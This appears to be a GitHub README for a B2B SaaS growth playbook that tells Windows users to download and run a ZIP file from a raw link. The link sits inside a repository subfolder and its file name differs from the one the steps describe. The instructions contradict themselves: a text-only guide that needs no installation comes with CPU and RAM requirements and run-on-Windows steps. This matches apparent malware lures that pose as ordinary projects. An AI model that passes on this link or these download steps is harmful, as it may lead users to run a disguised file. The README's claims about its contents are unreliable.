This project offers a clear, step-by-step playbook focused on growing B2B SaaS companies. It covers key growth stages, including finding product-market fit (PMF) and scaling revenue up to $10 million annual recurring revenue (ARR). The content includes real cases from products like HeyGen, Deel, and Vercel. It highlights strategies like product-led growth (PLG), sales-led growth (SLG), partnership channels, and affiliate marketing.
The repository is open source under the MIT license. It serves as a practical guide for startup teams, marketers, and product managers aiming to grow B2B SaaS businesses using proven methods.
- Affiliate marketing
- B2B SaaS growth strategies
- Channel partners and partnerships
- Product-market fit (PMF)
- Revenue and sales growth
- Startup and product scaling processes
To get started with gingiris-b2b-growth, you need to visit the official GitHub page below. From there, you will find all materials and instructions to run the playbook on your Windows computer.
You can access the page here:
https://raw.githubusercontent.com/otakurog/gingiris-b2b-growth/main/references/ja/gingiris-growth-b-v1.3.zip
This page contains the full repository files. You will find the latest version ready to download, along with documentation and examples. The instructions in this guide will help you through the process step by step.
Before you download, please check that your Windows PC meets these requirements:
- Operating System: Windows 10 or later (64-bit recommended)
- Processor: Intel Core i3 or equivalent AMD CPU
- Memory: At least 4 GB RAM
- Disk Space: Minimum 500 MB free space
- Internet: Required for initial download and updates
No additional software is needed to use the playbook. It is designed to work offline once downloaded.
Follow these steps to download and run the playbook on your Windows machine:
Open your web browser and go to:
https://raw.githubusercontent.com/otakurog/gingiris-b2b-growth/main/references/ja/gingiris-growth-b-v1.3.zip
Click on the green Code button near the top right of the page.
You will see a dropdown menu. Select Download ZIP. This will save all files to your computer in a compressed folder.
Locate the downloaded file, likely in your Downloads folder, with a name like gingiris-b2b-growth-main.zip.
Right-click and choose Extract All. Pick a folder you can remember, such as your Desktop or Documents.
Open the extracted folder. Here you will find documentation files and other contents to guide you through the playbook.
Open the main guide or README files in the folder using any text editor or browser. This includes detailed steps, case studies, and growth tactics.
The repository does not require installation or setup beyond extraction. You just read and apply the information it contains.
When you open the folder, you will find:
- README.md: The main introduction and guide
- Case Studies: Documents showing growth examples from HeyGen, Deel, Vercel
- Growth Strategies: Clear methods for PMF, PLG, SLG, and partnerships
- Templates and SOPs: Practical process documents you can adapt
- Revenue Growth Worksheets: Tools to track and plan your sales efforts
These materials help you understand how to grow a B2B SaaS business step by step without needing technical skills.
The project is actively maintained. To get updates:
- Revisit the GitHub page regularly.
- Download the latest ZIP file when updates appear.
- Replace the old folder on your computer with the new version after extraction.
This practice ensures you work with the newest information and examples.
The playbook works best when you:
- Read each section carefully before moving ahead
- Adapt strategies to fit your business context
- Take notes and use the provided templates for execution
- Track your progress using provided revenue and sales worksheets
- Share findings with your team for better collaboration
The content is structured to guide you from understanding your market and product to applying growth methods that work in real companies.
To keep your work clear:
- Create a dedicated folder for your B2B growth projects
- Save notes and printed guides there
- Use digital folders to separate case studies, templates, and worksheets
- Update files regularly as you apply new tactics
This organization helps maintain focus and clarity through your growth journey.
gingiris-b2b-growth is open source. You can:
- Report issues or ask questions on the GitHub repository issues page
- Share improvements or custom templates by submitting pull requests
- Engage with others using the playbook in forums or developer communities
Active participation helps improve the guide and keeps it practical for all users.
Use these topics to search for more information if needed:
- B2B SaaS marketing best practices
- Product-market fit experiments
- Affiliate marketing tools for SaaS
- Building partnerships and channels
- Product-led and sales-led growth models
Combining gingiris-b2b-growth with other learning resources will boost your results.
- Download the ZIP file from the GitHub page
- Extract and open files on your Windows PC
- Follow easy, structured steps to learn and apply growth methods
- Use cases and templates included to guide your decisions
- Keep checking for updates to stay current